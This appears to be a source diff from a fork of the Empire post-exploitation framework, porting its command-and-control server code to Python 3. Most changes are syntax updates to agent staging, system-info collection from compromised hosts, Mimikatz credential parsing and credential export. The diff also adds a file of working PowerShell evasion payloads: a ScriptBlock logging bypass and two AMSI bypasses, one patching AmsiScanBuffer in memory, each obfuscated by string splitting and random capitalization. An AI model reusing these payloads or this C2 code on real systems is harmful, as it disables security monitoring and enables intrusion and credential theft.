12501259 message = encryption.aes_decrypt_and_verify(stagingKey, encData)
12511260 except Exception as e:
1252 print 'exception e:' + str(e)
1261 print('exception e:' + str(e))
12531262 # if we have an error during decryption
12541263 message = "[!] HMAC verification failed from '{}'".format(sessionID)
12551264 signal = json.dumps({
12611270
12621271 if language.lower() == 'powershell':
12631272 # strip non-printable characters
1264 message = ''.join(filter(lambda x: x in string.printable, message))
1273 message = ''.join([x for x in message.decode('UTF-8') if x in string.printable])
12651274
12661275 # client posts RSA key
12671276 if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")):
12791288 if rsaKey:
12801289 message = "[*] Agent {} from {} posted valid PowerShell RSA key".format(sessionID, clientIP)
12811290 signal = json.dumps({
1282 'print': True,
1291 'print': False,
12831292 'message': message
12841293 })
12851294 dispatcher.send(signal, sender="agents/{}".format(sessionID))
13801389 elif meta == 'STAGE2':
13811390 # step 5 of negotiation -> client posts nonce+sysinfo and requests agent
13821391
1383 sessionKey = self.agents[sessionID]['sessionKey']
1392 sessionKey = (self.agents[sessionID]['sessionKey'])
1393 if isinstance(sessionKey, str):
1394 sessionKey = (self.agents[sessionID]['sessionKey']).encode('UTF-8')
13841395
13851396 try:
13861397 message = encryption.aes_decrypt_and_verify(sessionKey, encData)
1387 parts = message.split('|')
1398 parts = message.split(b'|')
13881399
13891400 if len(parts) < 12:
13901401 message = "[!] Agent {} posted invalid sysinfo checkin format: {}".format(sessionID, message)
14161427 })
14171428 dispatcher.send(signal, sender="agents/{}".format(sessionID))
14181429
1419 listener = unicode(parts[1], 'utf-8')
1420 domainname = unicode(parts[2], 'utf-8')
1421 username = unicode(parts[3], 'utf-8')
1422 hostname = unicode(parts[4], 'utf-8')
1423 external_ip = unicode(clientIP, 'utf-8')
1424 internal_ip = unicode(parts[5], 'utf-8')
1425 os_details = unicode(parts[6], 'utf-8')
1426 high_integrity = unicode(parts[7], 'utf-8')
1427 process_name = unicode(parts[8], 'utf-8')
1428 process_id = unicode(parts[9], 'utf-8')
1429 language = unicode(parts[10], 'utf-8')
1430 language_version = unicode(parts[11], 'utf-8')
1430 listener = str(parts[1], 'utf-8')
1431 domainname = str(parts[2], 'utf-8')
1432 username = str(parts[3], 'utf-8')
1433 hostname = str(parts[4], 'utf-8')
1434 external_ip = clientIP
1435 internal_ip = str(parts[5], 'utf-8')
1436 os_details = str(parts[6], 'utf-8')
1437 high_integrity = str(parts[7], 'utf-8')
1438 process_name = str(parts[8], 'utf-8')
1439 process_id = str(parts[9], 'utf-8')
1440 language = str(parts[10], 'utf-8')
1441 language_version = str(parts[11], 'utf-8')
14311442 if high_integrity == "True":
14321443 high_integrity = 1
14331444 else:
14771488 if autorun and autorun[0] != '' and autorun[1] != '':
14781489 self.add_agent_task_db(sessionID, autorun[0], autorun[1])
14791490
1480 if self.mainMenu.autoRuns.has_key(language.lower()) and len(self.mainMenu.autoRuns[language.lower()]) > 0:
1491 if language.lower() in self.mainMenu.autoRuns and len(self.mainMenu.autoRuns[language.lower()]) > 0:
14811492 autorunCmds = ["interact %s" % sessionID]
14821493 autorunCmds.extend(self.mainMenu.autoRuns[language.lower()])
14831494 autorunCmds.extend(["lastautoruncmd"])
15081519
15091520 Abstracted out sufficiently for any listener module to use.
15101521 """
1511
15121522 if len(routingPacket) < 20:
1513 message = "[!] handle_agent_data(): routingPacket wrong length: {}".format(routingPacket)
1523 message = "[!] handle_agent_data(): routingPacket wrong length: {}".format(len(routingPacket))
15141524 signal = json.dumps({
15151525 'print': False,
15161526 'message': message
15191529 return None
15201530
15211531 routingPacket = packets.parse_routing_packet(stagingKey, routingPacket)
1522
15231532 if not routingPacket:
15241533 return [('', "ERROR: invalid routing packet")]
15251534
15261535 dataToReturn = []
15271536
15281537 # process each routing packet
1529 for sessionID, (language, meta, additional, encData) in routingPacket.iteritems():
1530
1538 for sessionID, (language, meta, additional, encData) in routingPacket.items():
15311539 if meta == 'STAGE0' or meta == 'STAGE1' or meta == 'STAGE2':
15321540 message = "[*] handle_agent_data(): sessionID {} issued a {} request".format(sessionID, meta)
15331541 signal = json.dumps({
15981606
15991607 if taskings and taskings != []:
16001608
1601 all_task_packets = ''
1609 all_task_packets = b''
16021610
16031611 # build tasking packets for everything we have
16041612 for tasking in taskings:
16571665 self.process_agent_packet(sessionID, responseName, taskID, data)
16581666 results = True
16591667
1660 conn = self.get_db_connection()
1661 cur = conn.cursor()
1662 data = cur.execute("SELECT data FROM taskings WHERE agent=? AND id=?", [sessionID,taskID]).fetchone()[0]
1663 cur.close()
1664 theSender="Agents"
1665 if data.startswith("function Get-Keystrokes"):
1666 theSender += "PsKeyLogger"
16671668 if results:
16681669 # signal that this agent returned results
16691670 message = "[*] Agent {} returned results.".format(sessionID)
16701671 signal = json.dumps({
1671 'print': True,
1672 'print': False,
16721673 'message': message
16731674 })
16741675 dispatcher.send(signal, sender="agents/{}".format(sessionID))
16751676
16761677 # return a 200/valid
16771678 return 'VALID'
1679
16781680
16791681 except Exception as e:
16801682 message = "[!] Error processing result packet from {} : {}".format(sessionID, e)
16881690 # when an exception is thrown, something causes the lock to remain locked...
16891691 # if self.lock.locked():
16901692 # self.lock.release()
1691
16921693 return None
16931694
16941695
17151716 'print': False,
17161717 'message': message,
17171718 'response_name': responseName,
1718 'task_id': taskID
1719 'task_id': taskID,
1720 'event_type': 'result'
17191721 })
17201722 dispatcher.send(signal, sender="agents/{}".format(sessionID))
17211723
17671769 })
17681770 dispatcher.send(signal, sender="agents/{}".format(sessionID))
17691771 else:
1770 print "sysinfo:",data
1772 print("sysinfo:",data)
17711773 # extract appropriate system information
1772 listener = unicode(parts[1], 'utf-8')
1773 domainname = unicode(parts[2], 'utf-8')
1774 username = unicode(parts[3], 'utf-8')
1775 hostname = unicode(parts[4], 'utf-8')
1776 internal_ip = unicode(parts[5], 'utf-8')
1777 os_details = unicode(parts[6], 'utf-8')
1778 high_integrity = unicode(parts[7], 'utf-8')
1779 process_name = unicode(parts[8], 'utf-8')
1780 process_id = unicode(parts[9], 'utf-8')
1781 language = unicode(parts[10], 'utf-8')
1782 language_version = unicode(parts[11], 'utf-8')
1774 listener = str(parts[1], 'utf-8')
1775 domainname = str(parts[2], 'utf-8')
1776 username = str(parts[3], 'utf-8')
1777 hostname = str(parts[4], 'utf-8')
1778 internal_ip = str(parts[5], 'utf-8')
1779 os_details = str(parts[6], 'utf-8')
1780 high_integrity = str(parts[7], 'utf-8')
1781 process_name = str(parts[8], 'utf-8')
1782 process_id = str(parts[9], 'utf-8')
1783 language = str(parts[10], 'utf-8')
1784 language_version = str(parts[11], 'utf-8')
17831785 if high_integrity == 'True':
17841786 high_integrity = 1
17851787 else:
19621964
19631965 # TODO: redo this regex for really large AD dumps
19641966 # so a ton of data isn't kept in memory...?
1965 parts = data.split("\n")
1967 if isinstance(data,str):
1968 data = data.encode("UTF-8")
1969 parts = data.split(b"\n")
19661970 if len(parts) > 10:
19671971 time = helpers.get_datetime()
1968 if parts[0].startswith("Hostname:"):
1972 if parts[0].startswith(b"Hostname:"):
19691973 # if we get Invoke-Mimikatz output, try to parse it and add
19701974 # it to the internal credential store
19711975
20542058 dispatcher.send(signal, sender="agents/{}".format(sessionID))
20552059
20562060 else:
2057 print helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID))
2061 print(helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID)))
+75
-0
lib/common/bypasses.py less more
0 from __future__ import absolute_import
1 from . import helpers
2
3
4 def scriptBlockLogBypass():
5 # ScriptBlock Logging bypass
6 bypass = helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("GPF")+"=[ref].Assembly.GetType(")
7 bypass += "'System.Management.Automation.Utils'"
8 bypass += helpers.randomize_capitalization(").\"GetFie`ld\"(")
9 bypass += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
10 bypass += helpers.randomize_capitalization(");If($"+helpers.generate_random_script_var_name("GPF")+"){$"+helpers.generate_random_script_var_name("GPC")+"=$"+helpers.generate_random_script_var_name("GPF")+".GetValue($null);If($"+helpers.generate_random_script_var_name("GPC")+"")
11 bypass += "['ScriptB'+'lockLogging']"
12 bypass += helpers.randomize_capitalization("){$"+helpers.generate_random_script_var_name("GPC")+"")
13 bypass += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
14 bypass += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("GPC")+"")
15 bypass += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
16 bypass += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
17 bypass += "('EnableScriptB'+'lockLogging',0);"
18 bypass += helpers.randomize_capitalization("$val.Add")
19 bypass += "('EnableScriptBlockInvocationLogging',0);"
20 bypass += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("GPC")+"")
21 bypass += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
22 bypass += helpers.randomize_capitalization("=$val}")
23 bypass += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
24 bypass += "'signatures','N'+'onPublic,Static'"
25 bypass += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
26 return bypass
27
28
29 def AMSIBypass():
30 # @mattifestation's AMSI bypass
31 bypass = helpers.randomize_capitalization("$Ref=[Ref].Assembly.GetType(")
32 bypass += "'System.Management.Automation.Amsi'+'Utils'"
33 bypass += helpers.randomize_capitalization(');$Ref.GetField(')
34 bypass += "'amsiInitF'+'ailed','NonPublic,Static'"
35 bypass += helpers.randomize_capitalization(").SetValue($null,$true);")
36 return bypass.replace('\n','').replace(' ', '')
37
38
39
40 def AMSIBypass2():
41 # Modified implementation of Tal Liberman's AMSI bypass
42 bypass = """
43 $MethodDefinition = @"
44
45 [DllImport("kernel32")]
46 public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
47
48 [DllImport("kernel32")]
49 public static extern IntPtr GetModuleHandle(string lpModuleName);
50
51 [DllImport("kernel32")]
52 public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
53
54 "@;
55
56 $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
57 $ABSD = 'AmsiS'+'canBuffer';
58 $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
59 [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
60 [UInt32]$Size = 0x5;
61 [UInt32]$ProtectFlag = 0x40;
62 [UInt32]$OldProtectFlag = 0;
63 [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
64 $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
65
66 [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6)
67 """
68 bypass = bypass.replace('"kernel32"', '`"kernel32`"')
69 bypass = bypass.replace('@"','"')
70 bypass = bypass.replace('"@','"')
71 bypass = bypass.replace('\n','')
72 bypass = bypass.replace(' ', '')
73
74 return bypass
+11
-6
lib/common/credentials.py less more
22 Credential handling functionality for Empire.
33
44 """
5 from __future__ import print_function
6 from __future__ import absolute_import
57
6 import helpers
8 from builtins import input
9 from builtins import str
10 from builtins import object
11 from . import helpers
712 import os
813 # import sqlite3
914
10 class Credentials:
15 class Credentials(object):
1116 """
1217 Class that handles interaction with the backend credential model
1318 (adding creds, displaying, etc.).
135140 """
136141
137142 if export_path == '':
138 print helpers.color("[!] Export path cannot be ''")
143 print(helpers.color("[!] Export path cannot be ''"))
139144
140145 export_path += ".csv"
141146
142147 if os.path.exists(export_path):
143148 try:
144 choice = raw_input(helpers.color("\n[>] File %s already exists, overwrite? [y/N] " % (export_path), "red"))
149 choice = input(helpers.color("\n[>] File %s already exists, overwrite? [y/N] " % (export_path), "red"))
145150 if choice.lower() != "" and choice.lower()[0] == "y":
146151 pass
147152 else:
152157 creds = self.get_credentials()
153158
154159 if len(creds) == 0:
155 print helpers.color("[!] No credentials in the database.")
160 print(helpers.color("[!] No credentials in the database."))
156161 return
157162
158163 output_file = open(export_path, 'w')
160165 for cred in creds:
161166 output_file.write("\"%s\"\n" % ('","'.join([str(x) for x in cred])))
162167
163 print "\n" + helpers.color("[*] Credentials exported to %s\n" % (export_path))
168 print("\n" + helpers.color("[*] Credentials exported to %s\n" % (export_path)))
164169 output_file.close()
+1484
-1436
lib/common/empire.py less more
66 menu loops.
77
88 """
9 from __future__ import print_function
10 from __future__ import absolute_import
911
1012 # make version for Empire
11 VERSION = "2.4"
13 from builtins import input
14 from builtins import str
15 from builtins import range
16 VERSION = "3.0 BC-Security Fork"
1217
1318 from pydispatch import dispatcher
1419
2833 import json
2934
3035 # Empire imports
31 import helpers
32 import messages
33 import agents
34 import listeners
35 import modules
36 import stagers
37 import credentials
38 import plugins
39 from events import log_event
36 from . import helpers
37 from . import messages
38 from . import agents
39 from . import listeners
40 from . import modules
41 from . import stagers
42 from . import credentials
43 from . import plugins
44 from .events import log_event
4045 from zlib_wrapper import compress
4146 from zlib_wrapper import decompress
4247
6974 displayed when Empire starts.
7075 """
7176 def __init__(self, args=None):
72
77
7378 cmd.Cmd.__init__(self)
74
79
7580 # set up the event handling system
7681 dispatcher.connect(self.handle_event, sender=dispatcher.Any)
77
82
7883 # globalOptions[optionName] = (value, required, description)
7984 self.globalOptions = {}
80
85
8186 # currently active plugins:
8287 # {'pluginName': classObject}
8388 self.loadedPlugins = {}
84
89
8590 # empty database object
8691 self.conn = self.database_connect()
8792 time.sleep(1)
88
93
8994 self.lock = threading.Lock()
9095 # pull out some common configuration information
9196 (self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate, self.obfuscateCommand) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command')
92
97
9398 # change the default prompt for the user
9499 self.prompt = '(Empire) > '
95100 self.do_help.__func__.__doc__ = '''Displays the help menu.'''
96101 self.doc_header = 'Commands'
97
102
98103 # Main, Agents, or
99104 self.menu_state = 'Main'
100
105
101106 # parse/handle any passed command line arguments
102107 self.args = args
103108 # instantiate the agents, listeners, and stagers objects
109114 self.resourceQueue = []
110115 #A hashtable of autruns based on agent language
111116 self.autoRuns = {}
112
117
113118 self.handle_args()
114
119
115120 message = "[*] Empire starting up..."
116121 signal = json.dumps({
117122 'print': True,
118123 'message': message
119124 })
120125 dispatcher.send(signal, sender="empire")
121
126
122127 # print the loading menu
123128 messages.loading()
124129
125130 def get_db_connection(self):
126131 """
127 Returns the
132 Returns the
128133 """
129134 self.lock.acquire()
130135 self.conn.row_factory = None
131136 self.lock.release()
132137 return self.conn
133
134
138
139
135140 def handle_event(self, signal, sender):
136141 """
137142 Whenver an event is received from the dispatcher, log it to the DB,
144149 except ValueError:
145150 print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender)))
146151 return
147
152
148153 # this should probably be set in the event itself but we can check
149154 # here (and for most the time difference won't matter so it's fine)
150155 if 'timestamp' not in signal_data:
151156 signal_data['timestamp'] = helpers.get_datetime()
152
157
153158 # if this is related to a task, set task_id; this is its own column in
154159 # the DB (else the column will be set to None/null)
155160 task_id = None
156161 if 'task_id' in signal_data:
157162 task_id = signal_data['task_id']
158
163
164 if 'event_type' in signal_data:
165 event_type = signal_data['event_type']
166 else:
167 event_type = 'dispatched_event'
168
159169 event_data = json.dumps({'signal': signal_data, 'sender': sender})
160
170
161171 # print any signal that indicates we should
162172 if('print' in signal_data and signal_data['print']):
163173 print(helpers.color(signal_data['message']))
164
174
165175 # get a db cursor, log this event to the DB, then close the cursor
166176 cur = self.conn.cursor()
167177 # TODO instead of "dispatched_event" put something useful in the "event_type" column
168 log_event(cur, sender, 'dispatched_event', json.dumps(signal_data), signal_data['timestamp'], task_id=task_id)
178 log_event(cur, sender, event_type, json.dumps(signal_data), signal_data['timestamp'], task_id=task_id)
169179 cur.close()
170
180
171181 # if --debug X is passed, log out all dispatcher signals
172182 if self.args.debug:
173183 with open('empire.debug', 'a') as debug_file:
174184 debug_file.write("%s %s : %s\n" % (helpers.get_datetime(), sender, signal))
175
185
176186 if self.args.debug == '2':
177187 # if --debug 2, also print the output to the screen
178 print " %s : %s" % (sender, signal)
179
180
188 print(" %s : %s" % (sender, signal))
189
190
181191 def check_root(self):
182192 """
183193 Check if Empire has been run as root, and alert user.
184194 """
185195 try:
186
196
187197 if os.geteuid() != 0:
188198 if self.isroot:
189199 messages.title(VERSION)
190 print "[!] Warning: Running Empire as non-root, after running as root will likely fail to access prior agents!"
200 print("[!] Warning: Running Empire as non-root, after running as root will likely fail to access prior agents!")
191201 while True:
192 a = raw_input(helpers.color("[>] Are you sure you want to continue (y) or (n): "))
202 a = input(helpers.color("[>] Are you sure you want to continue (y) or (n): "))
193203 if a.startswith("y"):
194204 return
195205 if a.startswith("n"):
205215 cur.execute("UPDATE config SET rootuser = 1")
206216 cur.close()
207217 except Exception as e:
208 print e
209
210
218 print(e)
219
220
211221 def handle_args(self):
212222 """
213223 Handle any passed arguments.
214224 """
215 if self.args.resource:
216 resourceFile = self.args.resource[0]
217 self.do_resource(resourceFile)
218
225 if self.args.resource:
226 resourceFile = self.args.resource[0]
227 self.do_resource(resourceFile)
228
219229 if self.args.listener or self.args.stager:
220230 # if we're displaying listeners/stagers or generating a stager
221231 if self.args.listener:
222232 if self.args.listener == 'list':
223233 messages.display_listeners(self.listeners.activeListeners)
224234 messages.display_listeners(self.listeners.get_inactive_listeners(), "Inactive")
225
235
226236 else:
227237 activeListeners = self.listeners.activeListeners
228238 targetListener = [l for l in activeListeners if self.args.listener in l[1]]
229
239
230240 if targetListener:
231241 targetListener = targetListener[0]
232 # messages.display_listener_database(targetListener)
233 # TODO: reimplement this logic
242 # messages.display_listener_database(targetListener)
243 # TODO: reimplement this logic
234244 else:
235 print helpers.color("\n[!] No active listeners with name '%s'\n" % (self.args.listener))
236
245 print(helpers.color("\n[!] No active listeners with name '%s'\n" % (self.args.listener)))
246
237247 else:
238248 if self.args.stager == 'list':
239 print "\nStagers:\n"
240 print " Name Description"
241 print " ---- -----------"
242 for stagerName, stager in self.stagers.stagers.iteritems():
243 print " %s%s" % ('{0: <17}'.format(stagerName), stager.info['Description'])
244 print "\n"
249 print("\nStagers:\n")
250 print(" Name Description")
251 print(" ---- -----------")
252 for stagerName, stager in self.stagers.stagers.items():
253 print(" %s%s" % ('{0: <17}'.format(stagerName), stager.info['Description']))
254 print("\n")
245255 else:
246256 stagerName = self.args.stager
247257 try:
248258 targetStager = self.stagers.stagers[stagerName]
249259 menu = StagerMenu(self, stagerName)
250
260
251261 if self.args.stager_options:
252262 for option in self.args.stager_options:
253263 if '=' not in option:
254 print helpers.color("\n[!] Invalid option: '%s'" % (option))
255 print helpers.color("[!] Please use Option=Value format\n")
264 print(helpers.color("\n[!] Invalid option: '%s'" % (option)))
265 print(helpers.color("[!] Please use Option=Value format\n"))
256266 if self.conn:
257267 self.conn.close()
258268 sys.exit()
259
269
260270 # split the passed stager options by = and set the appropriate option
261271 optionName, optionValue = option.split('=')
262272 menu.do_set("%s %s" % (optionName, optionValue))
263
273
264274 # generate the stager
265275 menu.do_generate('')
266
276 print('empire.py: line 277')
267277 else:
268278 messages.display_stager(targetStager)
269
279
270280 except Exception as e:
271 print e
272 print helpers.color("\n[!] No current stager with name '%s'\n" % (stagerName))
273
281 print(e)
282 print(helpers.color("\n[!] No current stager with name '%s'\n" % (stagerName)))
283
274284 # shutdown the database connection object
275285 if self.conn:
276286 self.conn.close()
277
287
278288 sys.exit()
279
280
289
290
281291 def shutdown(self):
282292 """
283293 Perform any shutdown actions.
284294 """
285 print "\n" + helpers.color("[!] Shutting down...")
286
295 print("\n" + helpers.color("[!] Shutting down..."))
296
287297 message = "[*] Empire shutting down..."
288298 signal = json.dumps({
289299 'print': True,
290300 'message': message
291301 })
292302 dispatcher.send(signal, sender="empire")
293
303
294304 # enumerate all active servers/listeners and shut them down
295305 self.listeners.shutdown_listener('all')
296
306
297307 # shutdown the database connection object
298308 if self.conn:
299309 self.conn.close()
300
301
310
311
302312 def database_connect(self):
303313 """
304314 Connect to the default database at ./data/empire.db.
309319 self.conn.text_factory = str
310320 self.conn.isolation_level = None
311321 return self.conn
312
322
313323 except Exception:
314 print helpers.color("[!] Could not connect to database")
315 print helpers.color("[!] Please run database_setup.py")
324 print(helpers.color("[!] Could not connect to database"))
325 print(helpers.color("[!] Please run database_setup.py"))
316326 sys.exit()
317
327
318328 def cmdloop(self):
319329 """
320330 The main cmdloop logic that handles navigation to other menus.
328338 else:
329339 # display the main title
330340 messages.title(VERSION)
331
341
332342 # get active listeners, agents, and loaded modules
333343 num_agents = self.agents.get_agents_db()
334344 if num_agents:
335345 num_agents = len(num_agents)
336346 else:
337347 num_agents = 0
338
348
339349 num_modules = self.modules.modules
340350 if num_modules:
341351 num_modules = len(num_modules)
342352 else:
343353 num_modules = 0
344
354
345355 num_listeners = self.listeners.activeListeners
346356 if num_listeners:
347357 num_listeners = len(num_listeners)
348358 else:
349359 num_listeners = 0
350
351 print " " + helpers.color(str(num_modules), "green") + " modules currently loaded\n"
352 print " " + helpers.color(str(num_listeners), "green") + " listeners currently active\n"
353 print " " + helpers.color(str(num_agents), "green") + " agents currently active\n\n"
354
355 if len(self.resourceQueue) > 0:
356 self.cmdqueue.append(self.resourceQueue.pop(0))
357
360
361 print(" " + helpers.color(str(num_modules), "green") + " modules currently loaded\n")
362 print(" " + helpers.color(str(num_listeners), "green") + " listeners currently active\n")
363 print(" " + helpers.color(str(num_agents), "green") + " agents currently active\n\n")
364
365 if len(self.resourceQueue) > 0:
366 self.cmdqueue.append(self.resourceQueue.pop(0))
367
358368 cmd.Cmd.cmdloop(self)
359
360
369
370
361371 # handle those pesky ctrl+c's
362372 except KeyboardInterrupt as e:
363373 self.menu_state = "Main"
364374 try:
365 choice = raw_input(helpers.color("\n[>] Exit? [y/N] ", "red"))
375 choice = input(helpers.color("\n[>] Exit? [y/N] ", "red"))
366376 if choice.lower() != "" and choice.lower()[0] == "y":
367377 self.shutdown()
368378 return True
370380 continue
371381 except KeyboardInterrupt as e:
372382 continue
373
383
374384 # exception used to signal jumping to "Main" menu
375385 except NavMain as e:
376386 self.menu_state = "Main"
377
387
378388 # exception used to signal jumping to "Agents" menu
379389 except NavAgents as e:
380390 self.menu_state = "Agents"
381
391
382392 # exception used to signal jumping to "Listeners" menu
383393 except NavListeners as e:
384394 self.menu_state = "Listeners"
385
395
386396 except Exception as e:
387 print helpers.color("[!] Exception: %s" % (e))
397 print(helpers.color("[!] Exception: %s" % (e)))
388398 time.sleep(5)
389
390
399
400
391401 def print_topics(self, header, commands, cmdlen, maxcol):
392402 """
393403 Print a nicely formatted help menu.
400410 for command in commands:
401411 self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
402412 self.stdout.write("\n")
403
404
413
414
405415 def emptyline(self):
406416 """
407417 If any empty line is entered, do nothing.
408418 """
409419 pass
410
420
411421 ###################################################
412422 # CMD methods
413423 ###################################################
414
424
415425 def do_plugins(self, args):
416426 "List all available and active plugins."
417427 pluginPath = os.path.abspath("plugins")
421431 # attribute to find submodules."
422432 pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
423433 numFound = len(pluginNames)
424
434
425435 # say how many we found, handling the 1 case
426436 if numFound == 1:
427437 print(helpers.color("[*] {} plugin found".format(numFound)))
428438 else:
429439 print(helpers.color("[*] {} plugins found".format(numFound)))
430
440
431441 # if we found any, list them
432442 if numFound > 0:
433443 print("\tName\tActive")
434444 print("\t----\t------")
435 activePlugins = self.loadedPlugins.keys()
445 activePlugins = list(self.loadedPlugins.keys())
436446 for name in pluginNames:
437447 active = ""
438448 if name in activePlugins:
439449 active = "******"
440450 print("\t" + name + "\t" + active)
441
451
442452 print("")
443453 print(helpers.color("[*] Use \"plugin <plugin name>\" to load a plugin."))
444
454
445455 def do_plugin(self, pluginName):
446456 "Load a plugin file to extend Empire."
447457 pluginPath = os.path.abspath("plugins")
452462 pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
453463 if pluginName in pluginNames:
454464 print(helpers.color("[*] Plugin {} found.".format(pluginName)))
455
465
456466 message = "[*] Loading plugin {}".format(pluginName)
457467 signal = json.dumps({
458468 'print': True,
459469 'message': message
460470 })
461471 dispatcher.send(signal, sender="empire")
462
472
463473 # 'self' is the mainMenu object
464474 plugins.load_plugin(self, pluginName)
465475 else:
466476 raise Exception("[!] Error: the plugin specified does not exist in {}.".format(pluginPath))
467
477
468478 def postcmd(self, stop, line):
469 if len(self.resourceQueue) > 0:
470 nextcmd = self.resourceQueue.pop(0)
471 self.cmdqueue.append(nextcmd)
472
479 if len(self.resourceQueue) > 0:
480 nextcmd = self.resourceQueue.pop(0)
481 self.cmdqueue.append(nextcmd)
482
473483 def default(self, line):
474484 "Default handler."
475485 pass
476
486
477487 def do_resource(self, arg):
478 "Read and execute a list of Empire commands from a file."
479 self.resourceQueue.extend(self.buildQueue(arg))
480
488 "Read and execute a list of Empire commands from a file."
489 self.resourceQueue.extend(self.buildQueue(arg))
490
481491 def buildQueue(self, resourceFile, autoRun=False):
482 cmds = []
483 if os.path.isfile(resourceFile):
484 with open(resourceFile, 'r') as f:
485 lines = []
486 lines.extend(f.read().splitlines())
487 else:
488 raise Exception("[!] Error: The resource file specified \"%s\" does not exist" % resourceFile)
489 for lineFull in lines:
490 line = lineFull.strip()
491 #ignore lines that start with the comment symbol (#)
492 if line.startswith("#"):
493 continue
494 #read in another resource file
495 elif line.startswith("resource "):
496 rf = line.split(' ')[1]
497 cmds.extend(self.buildQueue(rf, autoRun))
498 #add noprompt option to execute without user confirmation
499 elif autoRun and line == "execute":
500 cmds.append(line + " noprompt")
501 else:
502 cmds.append(line)
503
504 return cmds
505
492 cmds = []
493 if os.path.isfile(resourceFile):
494 with open(resourceFile, 'r') as f:
495 lines = []
496 lines.extend(f.read().splitlines())
497 else:
498 raise Exception("[!] Error: The resource file specified \"%s\" does not exist" % resourceFile)
499 for lineFull in lines:
500 line = lineFull.strip()
501 #ignore lines that start with the comment symbol (#)
502 if line.startswith("#"):
503 continue
504 #read in another resource file
505 elif line.startswith("resource "):
506 rf = line.split(' ')[1]
507 cmds.extend(self.buildQueue(rf, autoRun))
508 #add noprompt option to execute without user confirmation
509 elif autoRun and line == "execute":
510 cmds.append(line + " noprompt")
511 else:
512 cmds.append(line)
513
514 return cmds
515
506516 def do_exit(self, line):
507517 "Exit Empire"
508518 raise KeyboardInterrupt
509
510
519
520
511521 def do_agents(self, line):
512522 "Jump to the Agents menu."
513523 try:
515525 agents_menu.cmdloop()
516526 except Exception as e:
517527 raise e
518
519
528
529
520530 def do_listeners(self, line):
521531 "Interact with active listeners."
522532 try:
524534 listener_menu.cmdloop()
525535 except Exception as e:
526536 raise e
537
538 def do_uselistener(self, line):
539 "Use an Empire listener module."
540 print("uselistener")
541 parts = line.split(' ')
527542
543 if parts[0] not in self.listeners.loadedListeners:
544 print(helpers.color("[!] Error: invalid listener module"))
545 else:
546 listenerMenu = ListenerMenu(self, parts[0])
547 listenerMenu.cmdloop()
528548
529549 def do_usestager(self, line):
530550 "Use an Empire stager."
531
551
532552 try:
533553 parts = line.split(' ')
534
554
535555 if parts[0] not in self.stagers.stagers:
536 print helpers.color("[!] Error: invalid stager module")
537
556 print(helpers.color("[!] Error: invalid stager module"))
557
538558 elif len(parts) == 1:
539559 stager_menu = StagerMenu(self, parts[0])
540560 stager_menu.cmdloop()
541561 elif len(parts) == 2:
542562 listener = parts[1]
543563 if not self.listeners.is_listener_valid(listener):
544 print helpers.color("[!] Please enter a valid listener name or ID")
564 print(helpers.color("[!] Please enter a valid listener name or ID"))
545565 else:
546566 self.stagers.set_stager_option('Listener', listener)
547567 stager_menu = StagerMenu(self, parts[0])
548568 stager_menu.cmdloop()
549569 else:
550 print helpers.color("[!] Error in MainMenu's do_userstager()")
570 print(helpers.color("[!] Error in MainMenu's do_userstager()"))
551571 except Exception as e:
552572 raise e
553
554
573
574
555575 def do_usemodule(self, line):
556576 "Use an Empire module."
557577 # Strip asterisks added by MainMenu.complete_usemodule()
558578 line = line.rstrip("*")
559579 if line not in self.modules.modules:
560 print helpers.color("[!] Error: invalid module")
580 print(helpers.color("[!] Error: invalid module"))
561581 else:
562582 try:
563583 module_menu = ModuleMenu(self, line)
564584 module_menu.cmdloop()
565585 except Exception as e:
566586 raise e
567
568
587
588
569589 def do_searchmodule(self, line):
570590 "Search Empire module names/descriptions."
571591 self.modules.search_modules(line.strip())
572
573
592
593
574594 def do_creds(self, line):
575595 "Add/display credentials to/from the database."
576
596
577597 filterTerm = line.strip()
578
598
579599 if filterTerm == "":
580600 creds = self.credentials.get_credentials()
581
601
582602 elif shlex.split(filterTerm)[0].lower() == "add":
583
603
584604 # add format: "domain username password <notes> <credType> <sid>
585605 args = shlex.split(filterTerm)[1:]
586
606
587607 if len(args) == 3:
588608 domain, username, password = args
589609 if helpers.validate_ntlm(password):
591611 self.credentials.add_credential("hash", domain, username, password, "")
592612 else:
593613 self.credentials.add_credential("plaintext", domain, username, password, "")
594
614
595615 elif len(args) == 4:
596616 domain, username, password, notes = args
597617 if helpers.validate_ntlm(password):
598618 self.credentials.add_credential("hash", domain, username, password, "", notes=notes)
599619 else:
600620 self.credentials.add_credential("plaintext", domain, username, password, "", notes=notes)
601
621
602622 elif len(args) == 5:
603623 domain, username, password, notes, credType = args
